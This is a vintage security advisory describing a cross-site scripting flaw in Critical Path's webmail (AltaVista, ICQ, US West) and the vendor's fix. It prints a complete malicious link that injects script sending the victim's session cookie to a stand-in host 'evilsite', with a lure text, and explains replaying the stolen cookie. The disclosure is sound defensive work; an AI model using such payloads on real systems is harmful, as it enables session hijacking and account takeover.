COMMAND
cross-site scripting
SYSTEMS AFFECTED
most unices
PROBLEM
Jeffrey W. Baker found following. He found cross-site scripting
vulnerability compromises accounts on Altavista, ICQ, US
West/Qwest, others... Jeffrey was a programmer at Critical Path
until 1/12/1999. He did not discover this vulnerability as a
result of any of his work there. He was not assigned to the web
mail product. He has not used any proprietary knowledge of
Critical Path's systems in investigating this problem.
This vulnerability was discovered on 17/7/2000, while Jeffrey was
conducting research for a presentation at the O'Reilly Open Source
Convention. The vulnerability was first discussed by about 100
people at that conference.
A simple flaw in the web mail service offered by Critical Path
(www.cp.net) allows an attacker to gain full access of any webmail
account. The attack falls under the umbrella of cross-site
scripting, which was addressed in detail by CERT in their advisory
CA-2000-02, entitled "Malicious HTML Tags Embedded in Client
Web Requests." The bug is aggravated by an defective session
token scheme. You can find info regarding this issue at:
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/css.html
The attack works by tricking a legitimate web mail user into
clicking on a link while logged into the web mail system. The
link exploits a programming error in the web mail system to send
the user's username and session cookie to another site. The
username and session cookie can then be used to gain full control
over the user's account.
The user is vulnerable to the attack at any time after logging in
to the webmail system, and before explicitly logging out, as long
as the browser is not restarted. After the attack, the attacker
will be able to read and delete the victim's mail, send mail as
the victim, and otherwise fully impersonate the victim any time
that the victim is logged in. The attacker will have control over
the victim's account forever, even if the victim changes his
password.
Web mail authenticates users using usernames and passwords. After
a successful login, the user is given an HTTP cookie, with the
name "CPWMS" and the value of "username/hash". The hash part of
the cookie is a 32-character hexidecimal value. The hash is
always the same, every time the user logs in, even if he changes
his password. This session hash problem deserves an advisory of
its own, but in this advisory, it serves to increase the severity
of the vulnerability.
The cookie is sent to the browser for expiration when the browser
is closed. The cookie is valid forever. The only way to
invalidate a cookie is to explicitly log out, using the "Log out"
button on the web mail user interface. However, the cookie will
immediately become valid again whenever the user logs in again.
Thus, once a sucessful attack has been made, the attacker
effectively owns the account.
The attacker must make the victim follow a link while the victim
is logged on to web mail. The link must make the victim activate
the web mail composition user interface and submit some form data.
The composition interface will then echo this input back to the
user, without escaping the HTML entities. If the submitted form
data includes JavaScript commands, the attacker can make the
user's web browser send the authentication cookie to the
attacker's site, where the attacker can collect them for use.
The best way to make sure that the victim is logged on to web mail
is to send them the link in a mail message. The web mail UI
renders HTML content in an email as HTML. Thus, the attacker
could send this mail body to a user of mail.altavista.com (ignore
newlines, they are inserted for readability):
<a href="http://mail.altavista.com/mail/compose?
contentonly=0&
send=SEND!&
to=&
subject=&
cc=&
bcc=&
include_sig=1&
body=%3C/TEXTAREA%3E%3CSCRIPT%20language=%22JavaScript%22%3E
document.location=%22http://evilsite/%22%20%2Bdocument.cookie%3B%3C
/SCRIPT%3E&id=">Click here for hot, naked teens!</a>
When the web mail app receives this request, it unescapes the
query arguments and places them inside an HTML TEXTAREA element.
The unescaped argument then closes the TEXTAREA element and
inserts a JavaScript command which is executed when the page is
loaded by any web browser with JavaScript capabilities.
When the script executes, the browser will send a request to
"evilsite" which includes the user's session cookie. The operator
of evilsite will then have full control over the user's account.
In the case of altavista.com, evilsite will also receive several
cookies set by the .altavista.com domain, which is a sort of a
bonus. If the operator of evilsite is smart, he can deliver some
useful content to the victim, and the victim may not even be aware
of any problem.
The attacker would access the victim's account by placing the
session cookie in his cookies file and visiting
mail.altavista.com. He could use any capability of the account,
with the exception of changing the password. The old password
must be known to change the password. This is hardly a problem
though, because the victim can change the password and the
attacker's access will be uninterrupted.
This bug impacts most users of Critical Path's web mail service.
This service is offered by Critical Path under many brands,
including altavista (mail.altavista.com), us west
(mail.uswestmail.net), icq (mail.icqmail.com), and etrade
(mail.etrademail.com). These brands are well-known and reported
in Critical Path's press releases. Other users of Critical Path's
service can be found by inspecting the public DNS records.
Critical Path claims over 30 million users of its mail services
through us west, altavista, and icq alone.
Users of etrademail.com are not vulnerable to this attack because
their session hashes are stored in the URL, not in cookies. Other
services that use URLs instead of cookies are also immune to this
particular attack. (Users of etrademail.com have another problem
in that they have no "Log out" button at all, but that is a
separate issue).
SOLUTION
Upon identifying this bug, Critical Path's team quickly developed
and implemented a bug fix. Action was taken immediately and the
patch was rolled into production after the proper quality
assurance reviews were conducted.
Critical Path has now modified the way cookies are used in its
Webmail product, improving security for all its customers.
Cookies will change every time a user logs in, being session
specific. All sessions initiated with out-of-date or invalid
cookies will be ignored. In addition, the web mail software
escapes html/script entities to prevent malicious code from
affecting user security.